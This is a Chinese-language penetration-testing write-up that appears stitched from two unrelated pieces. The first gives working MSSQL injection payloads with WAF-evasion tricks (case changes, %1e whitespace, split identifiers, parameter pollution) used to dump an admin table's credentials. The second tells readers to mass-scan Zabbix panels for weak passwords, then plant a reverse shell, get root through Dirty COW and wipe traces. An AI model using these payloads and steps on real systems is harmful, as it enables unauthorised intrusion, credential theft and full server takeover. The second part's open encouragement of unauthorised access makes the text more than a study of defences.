2020年4月

本次测试为授权测试。注入点在后台登陆的用户名处

1.png

存在验证码,可通过删除Cookie和验证码字段绕过验证

2.png

3.png

添加一个单引号,报错

4.png

and '1'='1

连接重置-被WAF拦截

5.png

改变大小写并将空格替换为MSSQL空白符[0x00-0x20]

%1eaNd%1e'1'='1

6.png

查询数据库版本,MSSQL 2012 x64

%1eoR%[email protected]@version%1e--

7.png

查询当前用户

%1eoR%1e1=user%1e--

8.png

查询当前用户是否为dba和db_owner

;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --

均出现延时,当前用户既不是dba也不是db_owner

9.png

尝试执行xp_cmdsehll,没有相关权限

;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --
;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --

10.png

11.png

查询当前数据库,连接重置-被WAF拦截

%1eoR%1e1=(db_name()%1e)%1e--

12.png

去掉函数名的一个字符则正常返回——WAF过滤了函数db_name()。MSSQL和MSQL有一些相同的特性,比如:函数名和括号之前可用注释或空白符填充

%1eoR%1e1=(db_name/**/()%1e)%1e--

13.png

14.png

查询当前数据库的表,连接重置-被WAF拦截

SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--

15.png

删除select后面的语句,返回正常。在IIS+ASPX的环境里,如果同时提交多个同名参数,则服务端接收的参数的值为用逗号连接的多个值,在实际应用中可借助注释符注释掉逗号

%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--

依然被拦截

16.png

删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles

%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--

17.png

可通过not in('table_1','table_2'...)的方式遍历表名

18.png

手工注入使用这种方法太慢,一次性查询所有表名

%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--

19.png

根据表名判断管理员表应该为appsadmin,一次性查询该表的所有列

%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin

20.png

获得管理员用户名和密码字段:AdminName、Password。查询用户名和密码

%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--
%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--

21.png

解密后成功登陆后台

22.png

我们需要一个zabbix的管理后台权限,想获得zabbix后台登陆权限的,自己去批量扫描弱口令,一扫一大把,这里直接讲如何反弹shell及拿下root用户权限。

下面登陆zabbix后台管理

1.png

进入管理脚本

2.png

下面修改其中一个脚本的信息,直接填写反弹shell命令,然后保存退出

3.png

然后这边服务器监控刚才填写的端口,并在zabbix执行命令

4.png

5.png

反弹成功

6.png

看下当前用户权限为zabbix

7.png

接下来用zabbix拿下root权限(利用脏牛)

先把提权程序下载到/tmp

8.png

然后编译gcc -pthread dirty.c -o dirty -lcrypt

9.png

执行成功,在卡的途中摁几次回车可能会有意想不到的效果,途中箭头所指均为root权限的账号密码

10.png

查看root用户已经变成咱们设定的用户

11.png

接下来直接登陆,然后查看权限

12.png

然后别忘了擦屁股

13.png